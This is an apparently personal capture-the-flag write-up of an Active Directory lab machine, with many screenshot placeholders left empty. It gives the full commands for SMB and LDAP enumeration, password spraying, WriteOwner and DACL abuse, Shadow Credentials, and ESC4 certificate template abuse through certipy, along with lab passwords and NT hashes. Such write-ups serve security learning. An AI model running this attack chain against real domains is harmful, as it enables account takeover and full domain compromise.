# EscapeTwo
## 0x1 Recon
* 
### Rustscan
* 
### Nmap
* 
## 0x2 Enumeration
* Use `nxc` enum the ldap users
* 
* Share folders
* 
## 0x3 SMB files
* Files under the `Users` folder
* 
* Files under the `Accouting Department`
* 
* Found some user cred in `accounts.xlsx`
* 
## 0x4 credential sparying
* Make user list with ldap users
* 
* try to crack winrm user, but everyone can connect to winrm
* Only two users have ldap permition
* 
## 0x5 MSSQL
* Got mssql user
* 
* Another user cred in `C:\\SQL2019\ExpressAdv_ENU\sql-Configuration.INI`
* 
* Use this password keep sparying with ldap&winrm
* 
## 0x6 Get shell & User.txt
* Use `evil-winrm` get shell with user ryan,and get user flag
* 
## 0x7 Privilege Escalation
### [WriteOwner]()
* User `ca_svc` belong Cert Publisher group
* 

* Use `bloodhound` eunmeration user ryan
* 
* Found Ryan have WriteOwner privilege to CA_SVC
* 
* Import `Powersploit` module

git clone https://github.com/PowerShellMafia/PowerSploit.git

Import-Module .\PowerSploit\Recon\PowerView.ps1
or
IEX (Get-Content .\PowerSploit\Recon\PowerView.ps1 -Raw)

* Use 'bloodyAD' set `ryan` as owner
* 

* Take fullcontrol to tager user

impacket-dacledit  -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/"ryan":"WqSZAF6CysDQbGb3"

*

### [ShadowCredentials](https://exploit-notes.hdks.org/exploit/windows/active-directory/shadow-credentials/)
:::info
If the attacker can modify the target object's (user or computer account) attribute msDS-KeyCredentialLink and append it with alternate credentials in the form of certificates, he takes over the account in AD.
:::
:::info
Shadow Credentials 是一種將假憑證（Kerberos key credential）綁定到目標帳戶的方法。

即使目標帳戶的密碼被更改，你仍可使用該假憑證進行身份驗證。
這是一種無需修改目標帳戶密碼的隱秘持久化技術。
:::
* When I try to use `certpy-ad` generate fake credential, it shows our clock is too slow to machine
* 
* 
* Run `ntpdate` update the time to machine

sudo ntpdate escapetwo.htb

* Got `ca_svc`'s NT hash
* 

certipy-ad shadow auto -u '[e-mail]' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target escapetwo.htb -dc-ip 10.10.11.51 -ns 10.10.11.51

* Runing `certipy-ad` find vulnerable templates found Template Name call `DunderMifflinAuthentication` vulnerabilities `ESC4`
* 
* 
### Use vulnerable template
* 

certipy-ad template -u [e-mail] -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug

### Request for administrator's template
* This step must do quikly after you update the template,or you'll got error about DNS name error

certipy-ad req -u [e-mail] -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn [e-mail] -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51

* 

### Pass admin's identity authentication
* You will get NT HASH after authenticating using pfx certificate
* 

certipy-ad auth -pfx administrator_10.pfx

## 0x8 root.txt
*